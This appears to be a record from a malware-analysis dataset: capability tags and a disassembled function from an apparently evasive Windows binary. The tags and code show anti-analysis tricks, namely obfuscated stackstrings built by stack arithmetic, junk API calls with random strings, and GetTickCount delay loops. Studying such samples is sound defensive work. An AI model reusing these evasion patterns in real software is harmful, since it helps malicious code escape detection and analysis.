Function at 0x4015be
Capabilities:
Access peb ldr_data
Check for time delay via gettickcount
Contain obfuscated stackstrings
Get common file path
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x427b17
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x206c
call fcn.0040c400
push ebx
push esi
push edi
mov dword [esp + 0x48], 0x328d3878
mov dword [esp + 0x20], 0x2523dd1e
mov dword [esp + 0x34], 0x21307855
mov dword [esp + 0x14], 0x672ea8fa
mov dword [esp + 0x30], 0x4761876
mov dword [esp + 0x28], 0x40fa9378
mov dword [esp + 0x40], 0x47733440
mov dword [esp + 0xc], 0x156c28ae
mov dword [esp + 0x3c], 0x5433e283
mov dword [esp + 0x44], 0x3749241f
mov dword [esp + 0x54], 0x10d349db
mov dword [esp + 0x4c], 0x2349306c
mov dword [esp + 0x18], 0x6c8ebbf
mov dword [esp + 0x2c], 0x54fd690e
mov dword [esp + 0x50], 0x56ad2bed
mov dword [esp + 0x24], 0x7a196881
mov dword [esp + 0x1c], 0x59187543
mov dword [esp + 0x10], 0x1b7f058
mov dword [esp + 0x38], 0x5ba95b85
sub dword [esp + 0x48], 0x7ccf609f
mov eax, 0x2ba11503
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
mov eax, 0x12808ccd
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
sub dword [esp + 0x34], 0x12e5929c
sub dword [esp + 0x30], 0x9c25915
sub dword [esp + 0x20], 0x47a1bfbd
sub dword [esp + 0x34], 0x2842ac9
sub dword [esp + 0x48], 0x610d82d9
mov eax, 0x79d6fb54
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x40], 0x19f8cb55
mov eax, 0x2d6c5cce
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x20], 0x34be3447
mov eax, 0x44d75561
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
mov eax, 0x624fde5b
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x48], 0xed2dabb
sub dword [esp + 0x44], 0x7e3a5591
mov eax, 0x43237d36
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x30], 0x4771ff42
sub dword [esp + 0x44], 0x56f129ec
sub dword [esp + 0x18], 0x41e1947e
mov eax, 0x3816ab6f
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
mov eax, 0x38f235a9
mul dword [esp + 0x18]
mov eax, dword [esp + 0x18]
add dword [esp + 0x44], 0x35957de7
sub dword [esp + 0x18], 0x20e00206
mov eax, 0x6a29d5c6
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x54], 0x7f736a21
sub dword [esp + 0x4c], 0x73a23c8e
mov eax, 0x57ff1c72
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x30], 0x67efe02a
sub dword [esp + 0x24], 0x19343085
sub dword [esp + 0xc], 0x2a647022
xor ebx, ebx
cmp dword [0x1a2020c], 0x400
jne 0x4018d5
push ebx
lea eax, [esp + 0x47c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push ebx
lea eax, [esp + 0xc7c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push ebx
push ebx
lea eax, [esp + 0x1880]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [esp + 0x1478]
push eax
push ebx
push str.xudisopozifuro_citoyogizaretusope_nirerugakiyezumosohajo_lakiwacuzube_kucupuvufukax
push str.lidetuhowayipuvoyuzamusub_yeresanuhuhazusuxusoboduguwed
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push ebx
push str.hexufutarojizizacekalumici
call dword [sym.imp.USER32.dll_LoadKeyboardLayoutA]
mov dword [esp + 0x74], 0xf
mov dword [esp + 0x70], ebx
mov byte [esp + 0x60], bl
push ebx
mov dword [esp + 0x2088], ebx
call fcn.0040238a
pop ecx
push ebx
call fcn.004026e2
fldz
sub esp, 0xc
fst qword [esp + 8]
fstp qword [esp]
call fcn.00401a70
add esp, 8
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00401c30
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004028aa
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00401d60
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004028e0
fstp st(0)
push ebx
call fcn.00402cf0
add esp, 0xc
push ebx
call fcn.00402b40
pop ecx
push ebx
push ebx
call fcn.0040222f
push ebx
push ebx
call fcn.00402004
pop ecx
pop ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00401030
or dword [esp + 0x2084], 0xffffffff
fstp st(0)
cmp dword [esp + 0x74], 0x10
jb 0x4018d5
push dword [esp + 0x60]
call fcn.004028d0
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edi, edi
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
call esi
cmp edi, 0x207138
jg 0x4018f9
inc edi
cmp edi, 0x4f672
jl 0x4018dd
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp esi, 0x2b157b
jg 0x401913
inc esi
cmp esi, 0x116bd
jl 0x4018fb
xor esi, esi
push ebx
lea eax, [esp + 0x187c]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x58bc14
jle 0x401940
cmp dword [esp + 0x58], 0x7a45f535
jne 0x401949
inc esi
cmp esi, 0xe154
jl 0x401915
mov eax, dword [0x436dbc]
mov dword [0x1a2020c], eax
call fcn.0040128e
mov esi, 0x3078f
cmp dword [0x1a2020c], 0x51f
jne 0x401976
push ebx
lea eax, [esp + 0x7c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
dec esi
jne 0x40195d
mov ecx, dword [esp + 0x207c]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10